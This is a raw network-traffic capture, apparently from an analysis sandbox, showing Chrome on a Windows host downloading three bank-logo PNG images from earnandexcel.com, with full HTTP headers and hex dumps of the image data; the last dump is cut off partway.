143	192.168.2.17	49887	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:48 UTC	1101	OUT	GET /wp-content/uploads/TATA.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
2024-04-11 21:26:48 UTC	899	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:48 GMT Content-Type: image/png Content-Length: 7454 Connection: close CF-Ray: 872e0e97fae342fd-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df330c-1d1e" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:52 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NpYc9DzK8hGzTNCIhAezBxFmJfZveg2i40eLqFU2dbCuIPPLYZDiWAuCaqUS%2FY2U2YHmKucqpsE594PINjREoeSXVw0d2XrgpLsOhQA7uR8iC9wOJYrEL1h64EKFLFixvW4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:48 UTC	470	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 bf 00 00 00 5e 08 06 00 00 00 72 f2 c5 21 00 00 1c e5 49 44 41 54 78 da ec 9b e5 8b 16 51 14 c6 fd c7 fc 22 08 82 dd dd dd dd 1d 60 37 76 81 ad 1f 54 14 03 eb 9b 81 89 5d d8 b9 6c 77 ef 91 df 81 07 2e c3 ec ec b2 f8 c5 77 e6 c0 61 66 ee bd 73 ef 9d dd e7 e4 3d 6f 3b cb 28 91 2a 2b 2b ad bc bc dc aa ab ab 4d 54 5f 5f 6f 75 75 75 06 d5 d6 d6 5a 43 43 83 45 a9 a9 a9 49 ed e1 7b cc 03 fb 7d 5b a9 b1 b1 91 b9 93 e6 a0 9f 3d b2 8f 44 4e 33 b5 b3 8c 5a 22 81 29 0a 6c ae 61 bf 80 8d 40 a8 0f 00 0a a4 89 73 6a de 08 69 9d 66 85 4b 20 af a9 a9 81 a3 6b 65 e0 cf c0 df 46 4a 06 a6 c0 1d ab f9 69 53 5f 55 55 95 15 15 15 d9 af 5f bf ec fd fb f7 f6 e0 c1 03 bb 72 e5 8a 9d 3e 7d da 8e 1c 39 62 87 0f 1f b6 83 07 0f Data Ascii: PNGIHDR^r!IDATxQ"`7vT]lw.wafs=o;(*++MT__ouuuZCCEI{}[=DN3Z")la@sjifK keFJiS_UU_r>}9b
2024-04-11 21:26:48 UTC	1369	IN	Data Raw: 73 ef 3c 61 c2 04 ae de 36 79 f2 64 ef 1f 35 6a 94 0b c1 90 21 43 24 28 5c 99 c7 05 64 ea d4 a9 b6 65 cb 16 bb 7d fb b6 fd f9 f3 27 ba af 0c fc 19 f8 db 4e 0a 2c d1 f4 68 59 11 5a ff fb f7 ef 76 e6 cc 19 db bd 7b b7 2d 5a b4 48 80 77 0d 3e 72 e4 48 40 ec e0 1d 3f 7e bc 83 74 fa f4 e9 36 6d da 34 80 0d d0 69 17 fb b3 78 dc b8 71 36 76 ec 58 1b 33 66 8c cd 98 31 83 f7 78 9f f7 10 0e bd c3 38 ac 07 02 c1 7a 3e 6e dd ba 75 76 f1 e2 45 fb f1 e3 47 e6 f3 67 e0 ff f7 be 3e 1a f6 ec d9 b3 36 6b d6 2c eb d1 a3 07 da 1d d7 04 c0 4a 6b 4b 93 d3 16 6a 79 81 1a f0 32 2e aa ed b9 d2 c7 18 04 87 f1 3c 6b 0c d7 b0 df f7 30 73 e6 4c da b1 06 08 9f 0b c2 b2 65 cb 6c ef de bd 19 f8 33 f0 27 6a f6 56 bb 3c 2f 5f be b4 7d fb f6 01 42 f9 e8 68 df 24 16 68 9b 63 5c 20 8d 0b b5 Data Ascii: s<a6yd5j!C$(\de}'N,hYZv{-ZHw>rH@?~t6m4ixq6vX3f1x8z>nuvEGg>6k,JkKjy2.<k0sLel3'jV</_}Bh$hc\
2024-04-11 21:26:48 UTC	1369	IN	Data Raw: 3b 85 fc fc 7c 2c 5d 2a f2 fd a9 07 7f 48 e1 73 14 30 68 49 aa 39 f9 25 16 41 2c e7 01 94 09 5c be 7c d9 03 ce 13 27 4e 10 3b 10 17 90 c5 71 57 62 ce 9c 39 f8 f3 7e 60 76 ea d4 29 0f 7a 45 00 57 7b 01 fc 68 7d ce 10 98 23 8e 58 1b 77 84 c0 9c b9 09 54 99 9f 74 25 e5 17 58 0f 0a d8 4e 9e 3c 49 49 33 41 b7 ef ef ee dd bb c4 27 04 d0 08 12 20 8f 4b f5 46 89 b1 39 ef fa a4 1e fc fc 83 f5 ab 2c 9e 71 4b c8 fe 00 20 80 b4 63 c7 0e db b4 69 13 20 96 6f 4c d0 08 50 95 4d 11 03 60 02 66 32 41 2a 3a f3 d4 69 d7 ae 5d ff b6 77 ef aa b2 14 6f 1f c7 af cc 4c 04 45 c1 9b 51 03 13 05 35 17 0f 20 2a 6a 64 e0 36 10 54 54 04 b7 ba 11 04 83 1d 98 08 66 82 81 81 b7 b0 5f 3e 23 5f 28 8a 59 33 b3 de d5 7f d8 dd d3 05 45 cf a9 ab ab a7 7f cf 53 cf b9 78 8b 59 84 28 c9 25 c6 77 Data Ascii: ;\|,]Hs0hI9%A,\\|'N;qWb9~`v)zEW{h}#XwTt%XN<II3A' KF9,qK ci oLPM`f2A:i]woLEQ5 *jd6TTf_>#_(Y3ESxY(%w
2024-04-11 21:26:48 UTC	1369	IN	Data Raw: 4a f9 45 0c 6c fb 80 07 fc 08 61 04 ff 3c 7f bf cd 3c bb 88 42 9e 75 27 11 cd 3e 60 5a 2b e3 96 db 55 80 ff 02 4b 90 c2 ad ac 1c 39 77 80 2b ce 68 05 88 3b 26 1a 79 df e6 11 47 c3 23 32 9b 2a 0f f2 e5 97 5f 0a 64 9b 57 1d 9f 01 ba b8 1d 22 0f 8e 6e 15 9a c5 23 ab 44 e7 89 b5 41 a8 55 8d bb 44 e1 f6 db 36 c7 e8 b3 ba 95 44 d5 06 63 16 7e d1 75 57 1f b2 bc 83 ff bc e7 b7 54 41 8e 2f ce 1d 04 20 ed af 3d b1 b2 fd 07 7a c4 00 50 11 49 c0 9f 2b 2f 97 ee 28 84 da 75 66 f0 03 f5 39 f0 cf cd 58 85 24 5c e4 81 e6 18 33 e7 e2 f3 23 82 cc a5 cf 3c f3 8c b1 58 92 38 d2 ae a6 4e e7 0e fe a9 49 dc a8 92 02 11 a4 00 af f6 d3 aa 7c b8 34 42 c0 69 df ad c0 ee 38 56 73 ce b3 5b 15 b4 b8 a9 63 ed b6 e0 ff f3 cf 3f 5d df d8 e6 75 91 ce 01 f0 ce 89 78 23 58 63 20 f6 8f 3f fe Data Ascii: JEla<<Bu'>`Z+UK9w+h;&yG#2*_dW"n#DAUD6Dc~uWTA/ =zPI+/(uf9X$\3#<X8NI\|4Bi8Vs[c?]ux#Xc ?
2024-04-11 21:26:48 UTC	1369	IN	Data Raw: f8 5d 5b 3a a3 1c 5a df 59 01 c6 f8 9c 80 64 93 e9 aa bb 35 af 92 ce 2f 99 ff a9 2e d9 45 9a 24 e0 cf e2 1a 22 c4 38 ca 22 eb 9e db ed dd fb 98 83 fb 50 3e bd 71 36 51 e2 64 f5 e0 f7 30 15 6f f5 a0 da 51 a5 f2 e2 de 03 e1 89 1e 87 c3 fd f4 76 3a 8c fb 96 84 1e b7 0f b8 f2 68 71 4a 59 54 11 1d e0 77 1e c0 34 be cf fc a6 6d 7e 02 5e e0 97 63 8b f3 b6 7a 99 7b f7 71 6e fe 7e 73 b2 cb e5 7d eb ad b7 46 99 3e ce 4d d4 6a 77 f8 ea 0e f5 bf b5 f9 05 22 3c 7c f6 fc f3 cf 9b 93 d4 c8 08 77 f5 91 a1 ab 07 bf d2 df 38 3f 6e 05 38 d5 d5 4c fc 38 03 8e 38 5b dd 7b 5c 0f 10 01 d6 6f c8 c1 f3 52 2f 4b ab aa ce 95 34 27 ba 20 08 47 e0 69 1e 8e c0 a3 e6 4f a5 0b 89 40 81 08 e7 07 c0 6a 80 ba 97 c4 8d 4b e6 7f b2 5b 01 71 ec e6 9e c8 45 0c fa e8 a3 8f 54 6d 6b ab a3 11 fc Data Ascii: ][:ZYd5/.E$"8"P>q6Qd0oQv:hqJYTw4m~^cz{qn~s}F>Mjw"<\|w8?n8L88[{\oR/K4' GiO@jK[qETmk
2024-04-11 21:26:48 UTC	1369	IN	Data Raw: eb d4 7a a8 d5 e1 c4 ad 89 02 71 f5 42 1a 80 00 27 04 ce 4a 08 0a 65 60 63 ef 7a ac 2b 8e 95 13 37 27 84 39 ee 09 60 f5 8a 18 ba 07 61 14 38 7d 32 7a b2 be cf d2 33 8c 45 1c 03 fe b1 78 d5 6c 18 b0 c9 86 7b f5 7b 63 99 4f 84 64 1c 4e 3b fa c0 b8 39 b6 cf c6 dd 66 ba 26 42 46 44 ac 49 89 85 11 db 6a 08 61 33 e0 3f d2 02 7f 7b 6a 15 6a 90 d9 2e 4b 0c 40 11 69 4e c5 d0 53 74 71 72 40 d0 01 07 d8 81 1b 78 94 07 07 ae 80 07 b4 ae 85 9b a6 40 ba 56 1e d4 c4 27 26 da d9 72 15 31 b7 45 6a 9e d8 44 2d 00 8c 98 75 20 c4 d1 11 cf 2c 3e e9 29 ba ad 46 e3 2e 32 c6 76 ff 88 19 51 24 c7 13 c7 98 7f fd 3e a5 bd b9 e7 48 cc ec 49 29 8f 80 bb 8f 5d e6 3f d7 1e 17 f0 eb f7 ef df bf 31 99 04 90 05 cf e1 ee 01 20 f3 65 21 08 80 a3 3c f8 58 be 9c 98 04 3c f3 75 03 3f c0 d9 3c Data Ascii: zqB'Je`cz+7'9`a8}2z3Exl{{cOdN;9f&BFDIja3?{jj.K@iNStqr@x@V'&r1EjD-u ,>)F.2vQ$>HI)]?1 e!<X<u?<
2024-04-11 21:26:48 UTC	139	IN	Data Raw: 35 73 e2 ce 89 68 f4 de cf a2 8e 63 a0 ea bb 73 22 40 b9 07 f3 d6 a5 f3 7e ba 33 61 35 9e 39 9f 02 e7 39 ce 9f 98 77 2a 8f a1 6b cf e3 34 46 6f 57 57 cb 67 f3 e0 f7 80 02 73 ed 06 4e 0a 80 97 54 72 1e 01 de 39 8d d1 6f f5 6a fc e8 40 7e 96 83 d6 9a 63 e0 ad 0d 63 9c 03 eb 25 2b 4e c9 e6 37 dd 33 c6 e1 fe fc c6 eb 62 90 66 e2 3d f6 3f 39 ef b1 57 7c ff 0f 83 d5 db 46 29 6c 13 4b 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: 5shcs"@~3a599w*k4FoWWgsNTr9oj@~cc%+N73bf=?9W\|F)lKIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.17	49890	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:48 UTC	1101	OUT	GET /wp-content/uploads/HSBC.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
2024-04-11 21:26:48 UTC	911	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:48 GMT Content-Type: image/png Content-Length: 7115 Connection: close CF-Ray: 872e0e9aaa9842c1-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df32ef-1bcb" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:23 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0it%2BVpUKKVYoSL8wnnof81n%2FZ9X3O07wuuElVVAAwF3%2FcuwzTtA2NzO01cmwbggGDaWZG0BsIhNpij43LWEohcBMpIRhDKll%2Fp%2BJN1x8tYDjuF6%2FjHN%2FBPZTWCqbGIgVGXw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:48 UTC	458	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 cd 00 00 00 37 08 06 00 00 00 af b5 ce 16 00 00 1b 92 49 44 41 54 78 da ec 99 05 a8 95 4b 10 c7 af dd 89 dd 85 0d 8a 09 3e bb bb bb bb 03 03 5b c1 4e 6c 2c b0 bb 13 bb 15 b1 0b 03 1b 13 bb bb e6 f1 5b 98 c3 b2 27 ee bb ef 5c 41 e1 0c 2c 5f 6d cc cc ce 7f 66 76 be 30 09 51 88 42 14 21 0a 93 10 85 28 44 21 d0 84 28 44 21 d0 84 28 44 7f 10 85 40 13 a2 10 fd 1f d0 fc fa f5 4b 7e fe fc 69 ae d0 97 2f 5f cc 33 f4 fd fb 77 81 be 7e fd ea 79 f7 e3 c7 0f cf 55 c7 f3 5d c7 86 47 6f de bc 11 97 98 fb db b7 6f 9e 35 3f 7d fa 24 2e b9 73 db bc d3 18 c7 1c dc c3 9b 4d bc e7 9d f6 b3 c9 7e e7 f6 85 f4 ea 83 1f 9f 73 d9 f7 1f 3e 7c 50 d9 90 49 79 66 1c cd 4b 16 e6 d4 31 b6 7c f6 f7 00 a4 f2 fb 7c cf 7a ec 53 b0 64 Data Ascii: PNGIHDR7IDATxK>[Nl,['\A,_mfv0QB!(D!(D!(D@K~i/_3w~yU]Goo5?}$.sM~s>\|PIyfK1\|\|zSd
2024-04-11 21:26:48 UTC	1369	IN	Data Raw: eb 25 5c 70 30 1f 3c 31 0e 80 e1 c9 94 97 f0 bc 95 6d 90 01 bf bb 7d 23 48 44 0e 8c 29 a0 fc 2a 9b cb bb 46 4f db a3 ab ae 5c 40 ba 73 38 44 24 88 0c 10 f9 8b e4 ee 7b 95 d9 c9 5e 82 27 d7 b9 28 39 b2 ba 91 49 f9 08 1e 34 02 59 8a 7e f6 ec 99 8c 1c 39 52 96 2c 59 22 c3 87 0f 97 8e 1d 3b ca 84 09 13 64 ea d4 a9 32 71 e2 44 19 3f 7e bc cc 9a 35 4b ba 76 ed 2a 43 87 0e 95 b1 63 c7 9a ef e7 ce 9d f3 42 bb 82 6c c7 8e 1d 32 63 c6 0c 33 5f 8b 16 2d 64 c8 90 21 32 79 f2 64 d3 c6 8c 19 23 d3 a6 4d e3 1b 73 9a 77 53 a6 4c 91 15 2b 56 a8 97 e0 6a 80 64 1b c5 c1 83 07 65 d0 a0 41 52 a9 52 25 49 9b 36 ad c4 8c 19 53 92 25 4b 26 39 73 e6 94 fe fd fb cb e1 c3 87 c5 a5 fd fb f7 cb aa 55 ab 74 43 0d 6f eb d7 af 97 11 23 46 18 99 66 cf 9e 2d 0b 17 2e 64 6d e4 37 df 96 2f Data Ascii: %\p0<1m}#HD)FO\@s8D${^'(9I4Y~9R,Y";d2qD?~5KvCcBl2c3_-d!2yd#MswSL+VjdeARR%I6S%K&9sUtCo#Ff-.dm7/
2024-04-11 21:26:48 UTC	1369	IN	Data Raw: 27 a4 63 9a 52 7b 5a c1 82 05 e1 c3 da e3 e0 c8 5d f7 d2 a5 4b d2 a1 43 07 93 05 34 6c d8 10 b9 d1 a9 47 d6 bb 77 ef 4a b7 6e dd 48 21 01 0e 51 22 a8 06 50 00 0e 00 22 da 90 ae 61 a3 9c 41 ed c2 d3 9c 39 73 88 3e 38 5b d6 25 3b 80 9f e0 41 13 28 5f d5 2b f9 28 60 d1 74 81 f0 ab e4 96 62 51 66 78 04 68 48 69 f0 a8 6a cc a4 5e ba a9 6e 75 8c 88 41 8a 08 0f 18 54 d1 a2 45 79 a7 1b 47 24 e3 de 6f fa c1 06 92 57 b3 ce e2 c5 8b 7d 95 be ed 02 03 de 99 08 08 7f dc 73 c6 f2 0b 66 9b 38 d7 91 b3 2b b8 b9 72 f0 85 dc 32 b5 46 61 25 3c 31 ce 83 f5 00 1e e7 a7 51 a3 46 d9 63 ff 6b 8a 81 53 c0 78 35 ea e0 85 15 78 ff c9 28 ec d2 b5 bd 9f b6 b3 d1 79 2e 5f be 8c 3d 20 b7 59 b3 7e fd fa 44 1c fa d8 f3 11 45 49 97 c8 56 0c c0 6a d4 a8 21 b5 6b d7 26 dd c2 e0 49 ab 48 b5 Data Ascii: 'cR{Z]KC4lGwJnH!Q"P"aA9s>8[%;A(_+(`tbQfxhHij^nuATEyG$oW}sf8+r2Fa%<1QFckSx5x(y._= Y~DEIVj!k&IH
2024-04-11 21:26:48 UTC	1369	IN	Data Raw: da 41 a0 d1 f7 8c 9f 08 de 19 93 b1 f2 f4 21 82 95 80 7b 9e c0 9b 35 f5 1c c1 cb 82 c6 24 67 84 15 d7 bb d7 25 da ba b5 06 40 8b 28 ee 4a a1 49 d5 2c 0e 83 80 01 06 81 91 2c 08 39 1b 81 23 00 31 62 60 62 22 88 7b 75 04 cc ac 87 c6 58 c3 28 00 47 ff 49 81 24 98 7b f4 87 f0 03 4c 0c 65 d8 32 33 66 48 3d 93 5e a3 af d4 3b cf d1 2f 29 03 f8 e6 43 12 03 90 bd df e1 08 18 c4 ef 61 82 6e a5 af 78 50 9b 99 d1 35 38 d3 d5 0b 68 e8 d9 24 c7 8b 17 2f f4 29 12 7f 31 8d be be 79 a1 5e bd 7a 25 86 81 4b 23 36 52 07 f1 e9 83 ab b3 05 9b 40 d6 5f 40 bc 09 9a d2 7b 48 01 ea e0 8f 1f 3f 22 d8 c6 b6 da 31 d9 54 dc a9 80 c2 4b 97 0d 26 42 cd 51 f1 5f 46 b8 4d a4 c2 89 3b 15 8c fc f4 e9 93 be 8f c8 09 db 75 91 c8 11 20 57 35 e2 62 6b 15 47 29 b0 e8 72 8f 08 93 0e 08 9c e3 66 Data Ascii: A!{5$g%@(JI,,9#1b`b"{uX(GI${Le23fH=^;/)CanxP58h$/)1y^z%K#6R@_@{H?"1TK&BQ_FM;u W5bkG)rf
2024-04-11 21:26:48 UTC	1369	IN	Data Raw: 6e 27 d8 27 68 e6 59 5b 05 37 49 04 9b fb ff ce 08 a8 e1 e4 9b c5 73 5c cb a6 ea 1b 08 5e bf 7e 5d 8d 8b 32 e5 d5 25 bd 12 be b3 09 b6 64 39 5f bd 48 11 52 b4 b9 51 13 19 ff 6b b3 69 40 4c 15 ec 73 9f 3f 7f 9e f6 cf fa f7 5d 45 64 73 0d e3 94 1b da 64 06 d4 4f 44 45 55 a3 92 bb 48 1f 76 01 06 1a 41 52 79 d8 42 18 c7 83 09 b3 eb 59 65 8d a9 a6 9e 5f 22 66 d2 cc 2b 09 80 90 69 25 62 38 55 83 ce f3 db d6 7b 9f e9 6f ce 04 b4 6b 6c d9 62 55 7d 96 d3 56 79 82 cc 01 61 83 0d ed 69 82 a6 49 77 e6 9a ba 7c 8b b1 51 fd 4b 05 a3 9b 1b 6b 46 7a ce 0b 1c 4c 11 5b 1b 99 ff 3d 23 78 37 68 b8 9b 93 6c 80 ea be 62 b4 a4 14 22 30 16 f3 2f 23 80 b1 3d d7 8f 24 9f 25 09 37 5a aa 4f 4c c6 d5 fd a3 40 43 32 92 96 40 01 38 c5 36 bc e2 d6 95 1d 23 46 2a 15 1b d7 be 4d 90 77 9f Data Ascii: n''hY[7Is\^~]2%d9_HRQki@Ls?]EdsdODEUHvARyBYe_"f+i%b8U{oklbU}VyaiIw\|QKkFzL[=#x7hlb"0/#=$%7ZOL@C2@86#F*Mw
2024-04-11 21:26:48 UTC	1181	IN	Data Raw: b3 65 fa 7c 9b 8c d3 50 af 8a b7 18 0f 97 f1 c5 72 d7 00 cc 43 56 66 80 71 03 0d 87 82 f7 9b 77 6a 43 df 21 c9 7c ce d8 7c 87 7b 9a f4 31 a6 7e d2 e3 02 67 e7 0d a2 6a 25 91 2b d8 4b 55 f1 8c ec 9a 49 7c d4 05 9b 9c e4 a5 da 71 10 b0 73 70 48 99 e4 9b 0e 23 b7 66 82 7a d4 59 aa 61 df b3 17 d6 f6 88 36 83 af 62 5e f6 cf 38 d9 68 ce d1 a6 4d d4 1c 42 4e 4d ca 2b e6 73 7b 2e 7d a4 6a 91 44 fe c7 4e e1 80 48 ed f2 ca d0 67 f0 53 4d bf 7c f9 52 26 c9 7e d0 0c 71 dd ef ce ac e7 0b 17 e7 10 73 b0 19 44 31 9b 60 8a 74 04 7b d3 a0 32 19 55 9a d5 d1 c7 55 71 da 29 22 fb 5b 3e 10 ae 4f ca 70 e5 76 5e 72 b5 dd 36 30 11 1b 70 e4 2c 01 8c f1 fa 2c 00 e0 4a 35 c0 9d 9c 17 28 e8 c1 a4 0b ae ef bb ec 0c a9 24 fa 9c 5c bd 5f 47 e0 62 c6 e9 64 02 04 16 1c 1e 47 cc f8 6e ee Data Ascii: e\|PrCVfqwjC!\|\|{1~gj%+KUI\|qspH#fzYa6b^8hMBNM+s{.}jDNHgSM\|R&~qsD1`t{2UUq)"[>Opv^r60p,,J5($\_GbdGn

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.17	49891	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:48 UTC	863	OUT	GET /wp-content/uploads/RBS.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
2024-04-11 21:26:49 UTC	903	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:49 GMT Content-Type: image/png Content-Length: 8173 Connection: close CF-Ray: 872e0e9abe42c413-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df3301-1fed" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:41 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=v61eFpWbzeP4TDjEx63pEkJgnlIlGrYCbe6SM%2BL4OgAfZSItaK%2FmORBG4gSfisVgw5U5Vcm8r2Jv71jOu%2B2rzmhqdHG1iUEaMNFerC8zfwwi3FHIaJ72Q44gsuk25brq2Kg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:49 UTC	466	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 b0 00 00 00 3f 08 06 00 00 00 40 51 42 53 00 00 1f b4 49 44 41 54 78 da ec 9a 55 a8 56 4d 14 86 55 ec ee ee ee ee 6e bc b0 03 54 50 2f 2c 2c d0 0b 1b 15 b1 10 03 44 11 14 5b 14 13 44 c1 56 54 c4 0e ec ee ee ee 58 3f cf c0 0b c3 a0 df fe ce 7f ae 84 b3 60 f8 f6 de 33 7b 56 bd 2b f6 9c 93 cc 92 28 89 fe 61 4a 66 49 94 44 ff 30 25 01 38 89 fe 69 4a 02 70 12 fd d3 14 02 d8 7e ff fe 6d d0 b7 6f df 4c f4 e5 cb 17 fb f5 eb 97 bd 7f ff de 7e fe fc 69 7f a3 77 ef de b9 75 d0 a7 4f 9f dc 75 2c 82 17 43 f4 fd fb 77 ee e1 c1 b5 1b 3f 7e fc 08 f7 f1 df d1 9c ae 99 8b 1c be 5e 5f bf 7e d5 33 e9 16 49 d8 26 e4 a9 fd b4 87 e6 90 3f 24 6c e3 f3 43 06 de 8d 93 e0 c7 de e2 1d b9 26 21 84 8f fd 3d 7c f9 43 5e d2 11 3d Data Ascii: PNGIHDR?@QBSIDATxUVMUnTP/,,D[DVTX?`3{V+(aJfID0%8iJp~moL~iwuOu,Cw?~^_~3I&?$lC&!=\|C^=
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: c3 a4 f6 f6 ed 5b e9 e8 03 d3 97 29 e4 1b fa 9c 3d 23 01 ac c5 6c 1c 66 5c 39 4e 73 fc d2 36 84 ad 86 e6 04 e6 30 20 34 cf 9e ec 17 3a 51 c6 e6 3e 2c 27 a1 a2 e2 a7 77 e3 02 f0 9b 37 6f b4 fe ff 02 08 7d 90 9f 5f c9 19 66 63 5f 97 3f ca c9 fb 09 24 74 17 28 a3 12 83 d6 05 20 8c 9b 90 0f e0 c9 4f aa 1e 0a 18 78 87 19 39 ac 44 7f e4 fd fc f9 73 ad 65 2f cd b1 1f 01 04 0f dd eb 5a 6b 22 00 1c 94 3a 31 23 9a 03 d2 a6 80 41 82 fa 82 84 86 0d 4b 51 5c ce 53 86 f1 f7 92 6c ca f6 0c 51 9c 00 c6 28 f1 03 37 e1 00 0b 7b f7 b0 af 0b 4b ad e4 8a 04 58 28 6f d8 82 09 b0 89 20 ed 1f 06 a4 ec 1d ae e5 59 88 0f 5f 4f e6 c2 8c cb be b1 2a 39 cf 23 aa 6d 44 0b a1 0d 94 45 b5 d1 b6 6d db 6c ee dc b9 b6 76 ed 5a bb 70 e1 42 cc 9e 57 74 eb d6 2d 5b b6 6c 99 cd 9b 37 cf 76 ef Data Ascii: [)=#lf\9Ns60 4:Q>,'w7o}_fc_?$t( Ox9Dse/Zk":1#AKQ\SlQ(7{KX(o Y_O*9#mDEmlvZpBWt-[l7v
